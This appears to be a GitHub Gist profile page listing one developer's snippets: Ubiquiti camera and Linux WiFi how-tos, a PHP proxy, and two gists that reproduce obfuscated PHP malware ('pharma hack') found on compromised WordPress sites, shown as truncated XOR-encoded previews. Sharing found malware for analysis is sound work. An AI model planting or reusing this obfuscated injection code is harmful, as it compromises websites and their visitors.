Skip to content

Instantly share code, notes, and snippets.

View Salamek's full-sized avatar
🏠
Working from home

Adam Schubert Salamek

🏠
Working from home
View GitHub Profile
@Salamek
Salamek / ssh-fwupdate.md
Last active October 30, 2025 15:34
SSH Update of Ubiquity cameras

SSH Update of Ubiquiti cameras

When Ubiquiti camera is not updated for longer time (long storage etc.), its firmware becomes incompatible (too old) with latest version of Unifi Protect. This is HOWTO do update from modern Linux OS system (you may also use OS-X):

HW preparation

  1. Connect your camera to PoE switch or injector
  2. Reset your camera to factory settings using HW button (check official docs of your camera for location and combination)
  3. Connect your Linux running computer to same network as camera is
  4. Check your router client list for camera IP or Unify Protect camera list
@Salamek
Salamek / wifi-tui.md
Created September 1, 2022 11:49
Configure WiFi from CLI/TUI Linux

Simple way how to configure WiFi using nmtui a TUI interface for NetworkManager

  1. Switch to new VT in this case VT2
Ctrl+Alt+F2

You should see a login prompt

  1. Login using your credentials, first username then password WARNING: Password is not visible!
@Salamek
Salamek / wordpress-pharma-hack2.php
Created October 9, 2019 17:13
Another Wordpress pharma hack found on WP webside
// Encoded
$yoXCQW='WG AHRt12V;Y3R='; $wfzeKYC = '45E <7+WG8X-Z=S'^$yoXCQW; $USGySttT=' Z-<0;57 '; $vjEiyegT='G DRVWTCE'^$USGySttT; $ALKuwrB='Z4:Podg05Q5.N'; $mbnuutuk='8UI5YP8TP2ZJ+'^$ALKuwrB; $AETDPy='A J jIzzvju717v-boh4mUl PnaYSHsu Ndh9 Lg,vVMCf 2,1-D>rRXb=DYs; 10H<V-:Ci ,zD<=d8g1FpbzybE5=jZ,H =3.BRJFPy ,As3-Z> 1 rVB1R=szfL>1:7=bY=Nzg5GoMj>C+<6W=<90;s=ssv>4mZId.R6C+<C= 4A 6g4v:j:deXaEx Too+w2o<:bSepYjoa;l=GLz5ejaZwxDrwQbB8v:=er4x+xxmeiv6F pr5T>vH l 4 6q b ffn17=7iM59Rl>;sjXxsaL<OU f<0-;.rwiZB-e xuFY BqtBYa-2h 0-w3Evn s4FgbRV w- HXh + 79TH4xedj =sS5ftq pu I1.3Fiv6qtTaygqwd T7Y>48C muL,A3;7<SieogC::a>Y 5<5j0c6joG1O1XVDX5A1gZS Wgit-U-m2:XrAnD0,nxnnYu,BfrXn+,Wc,N4Iqlvv=ecfxbXoYzVNsxgqdM.<nxAx:o9=smZTV>0NcN9n=S=chbTt75tFKU nrf-hgv=Sz:afb5<rE=c2hv18k=jovH<43 Ucv<oiy:+ aQ Qht7;22r j45uxx+,1PzwEN =U,m<,T5k:y,q=NDF<6;;8 0A+B-2-qYwC90D70 do;AsL<vAeq36QY4PuXMfp=FCP GR1CU mKC.r=<yR=pz T svI64vu2=eepyx5z3k08e<5X1 yeaR2 >JyY <r 9 4=kv1bT.Mf,TKpsAyie=23hmU6axv==B01+6sp.:m7.bcmWp+n<A6WrpQIugwy0:=fdx1Auhmxpp>;HdVmZHc6c
@Salamek
Salamek / wordpress-pharma-hack.php
Last active August 22, 2019 07:36
Wordpress pharma hack decoded. This is decoded pharma hack found on one WP site... you can see what stuff it does
<?php
// Original source code:
$KhzDggni='ZI-PXSiZH=+H;9='; $SIUiTqv = '9;H1,66<=SH<RVS'^$KhzDggni; $EoudqGs=' D=4.6JBS'; $NZLfOB='G>TZHZ+66'^$EoudqGs; $NKJUnNGO='33FPqGg4<0R, '; $HMPqqX='QR55Gs8PYS=HE'^$NKJUnNGO; $ZfDKWpO='4x<Jxyj=wIb:2L<eyai0g<f4rl4.=Gpd y3=9<Pz+.YZ4v>-Gp9RdxIWn6g:PFr222yvabjo<pn6:Vp.vvw decp5 YQ <;8,== D5v:=S;-4. =LM6rUmOJJdxo+=2;vCOErL:Njkj6l0Jm 3-uwP; =-df,Qj+ g6CbO0z+l BE1,:2uba0dbOd bGigoow6ljwaTgl83xvPdcPHr=lTFZxJ7GbG;UGT =:ZXwasrLiehR :fi G9zB9T lN>9elk41<9I=Onv6>ea7=qd ucvUEUYYxg83w-> Np7p7VM7jzd7m t>DYR>Mj6 L:3<rTBy 7a 0fFQ+ 8 4C14Dn9<U<v X neam7tr ;omCWtOA.Yi9XZ1=o7j<9syPUgTva8hsY,-XIGwj6d=,Fam0U3<v4PB=XeUZ;usuJOx9C7X:7q1vdUlqXvUldU91v=7nYijlDVnyWZ.i33g4wB 3Fjg2oZ w9rPbBXKd=pwBO aobstpy<Mlt-W..,13dyw35xZhpF;,b ,oa-l;>r7.<P-j4AzMl6tWG-9PD=0bEXyauU <b+l: 7n2u 1l90,fgSC5Dm1jC=gly=XXD;T ggFzsWKyzcYvaka.YZa3uo,R0gq:e<faQqc9ScPC :cv=N9sY nA42n83OIwL5 -;t0=,r=6yt.n2g=c+ME7HubGF-Sq7Z JVTmZ1u8Ax:Z <fDp31.8oh=o7aJRg5Zk=L xhSp2<=Dz1t:y=O==b>c6B8 ==o9G8rgkrx+1wj;jr t =gsvhtw8u olUS4e.ql,6<
@Salamek
Salamek / proxy.php
Last active December 6, 2017 23:46
Simple PHP proxy for webpages
<?php
class NotFoundException extends \Exception{}
class Html
{
private $proxy;
private $baseUrl;
private $html;
private $thisHost;
@Salamek
Salamek / anim.gif
Last active December 22, 2015 03:48
Static files for git-deploy
anim.gif